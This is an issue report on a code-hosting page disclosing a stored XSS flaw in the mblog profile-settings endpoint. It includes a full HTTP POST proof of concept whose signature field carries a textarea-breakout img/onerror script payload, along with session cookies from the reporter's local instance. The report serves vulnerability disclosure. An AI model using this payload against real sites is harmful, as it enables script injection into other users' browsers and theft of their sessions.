Stored XSS - /settings/profile · Issue #ICPML3 · mtons/mblog

# Summary
The /settings/profile endpoint is used for editing user profile information, the user-controlled bio content parameter has no security checks, and has no encoding processing during output, thus creating stored XSS vulnerabilities.

# POC

```
POST /settings/profile HTTP/1.1
Host: localhost:8080
Content-Length: 73
Cache-Control: max-age=0
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Referer: http://localhost:8080/settings/profile
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_9d1e524198ede8205ac7c938c243344c=1753595810; JSESSIONID=Q6pk1m8nOyEtyqit_YzWg7Jh6dIET_7MwwsFZYPa; rememberMe=VNhf7QT40SbPXJA1Aa/ys1o/XwMWH0fAFSoCj5tC/jGffTrU9r7EJmezdVALbWsomQdH6EWJD54qMXelw9qE1Kte6GS52tGJ7AEAMhjFMZPZxujFlIxZL05Vgvvmwvyua/JM//2cjHe5UFwj3euH1dOKAGkWYk4DeSbWpCPdPV24bm6yOD8DcCdTOvOBSbUpiqlULaJEDKwMW0DJBlVhofdzNTee0zcW77FSCDvb6DuYSz/MvBD0ATuyV+xsleP/uTxvbI2V/PRV2jF25VaPbWzcWQMJAm7sqTGm2L9qnDgQa/TjOjdMHTG+C+F4BKRtryPUycNpWX+IK3XZETFg6COVoFXhtk/5ti8NcLSkW6FMwlGlaMyqXdRpTV1HjOWmiCSHLfmHvdthVQqm10oX+TTYYSndTDPB01wkcWrm+K9UpwqVur3cKzKe+ZtaEWMA85awW1Y/i1dGnO6FyejsYiLreTde2xUzr0GCEW2HkU0IHNEwtaZjkuB04thjICEDm/Yygu/+1HK42V56ZLQYmr5IquELumFpNhLRM2qoCUSkBtYgxJiPDjPEeO71pa7LvTnlR7jKF53RJcfLKPTa1aiKv20L0Tqw4CHLOhbR7S0XcZDov+zKd8hgGilOSp1HpEzD5uGcSu7BT33aJaxlPn5pYOFxaFVTevuK9+mkQhAHNTPoX4LY5OFS0+IEUnQWlIaJEhC5UDtlnkoGXVHRGtUPbW4Kg3nt8xTgNMjsZwbIrs3hS+DcAgtjYL5ZXE2pQzPExEZTJ5YdYfG+2XJQ/Q6jEU1GHP0aZqGXueCrVJyen9/gxARKgTJLFFLVK8PhFG/KD+jLBbqvxICWQz/wd66HOmNGCiVILcKYIwStg1JAuNFkGiyWi+V7Z743t2eQyTUOUFlwEB5XqFbr2D9Q5tB/9lXlbrsfa/q7Xt2830W4wnzdzzfymISTERRychiZsY0uxo8OuD3yMcR7rOCz/2jbt7wtd4dbWO8PbbPe4CCSorGhbvn8V3+SI5X9v8YTKPdby/EQDIPm6cV5WXHIPiCEUYrgE+i/njM9eKWnrT4W58R3lvAtCAKoxm24LypSNLl+YghBj/JfvqpK6umAb8JAjK7+iafyD3Pi+22xyPAt4CZl7nWwbn0DIi2ykt5PVJA45mYe1j04XpmGjfuOfQ==
Connection: keep-alive

name=zast&signature=</textarea><img src=1 onerror=alert(/signature-xss/)>
```

![输入图片说明](https://foruda.gitee.com/images/1753789996736825068/811181e0_8279293.png "屏幕截图")

![输入图片说明](https://foruda.gitee.com/images/1753790004986055469/5ac4d8d5_8279293.png "屏幕截图")

mtons/mblog

Content Risk Flag

Stored XSS - /settings/profile

Comments (0)

mtons/mblog .gitee-modal { width: 500px !important; }

Content Risk Flag

Stored XSS - /settings/profile

Comments (0)

Search

mtons/mblog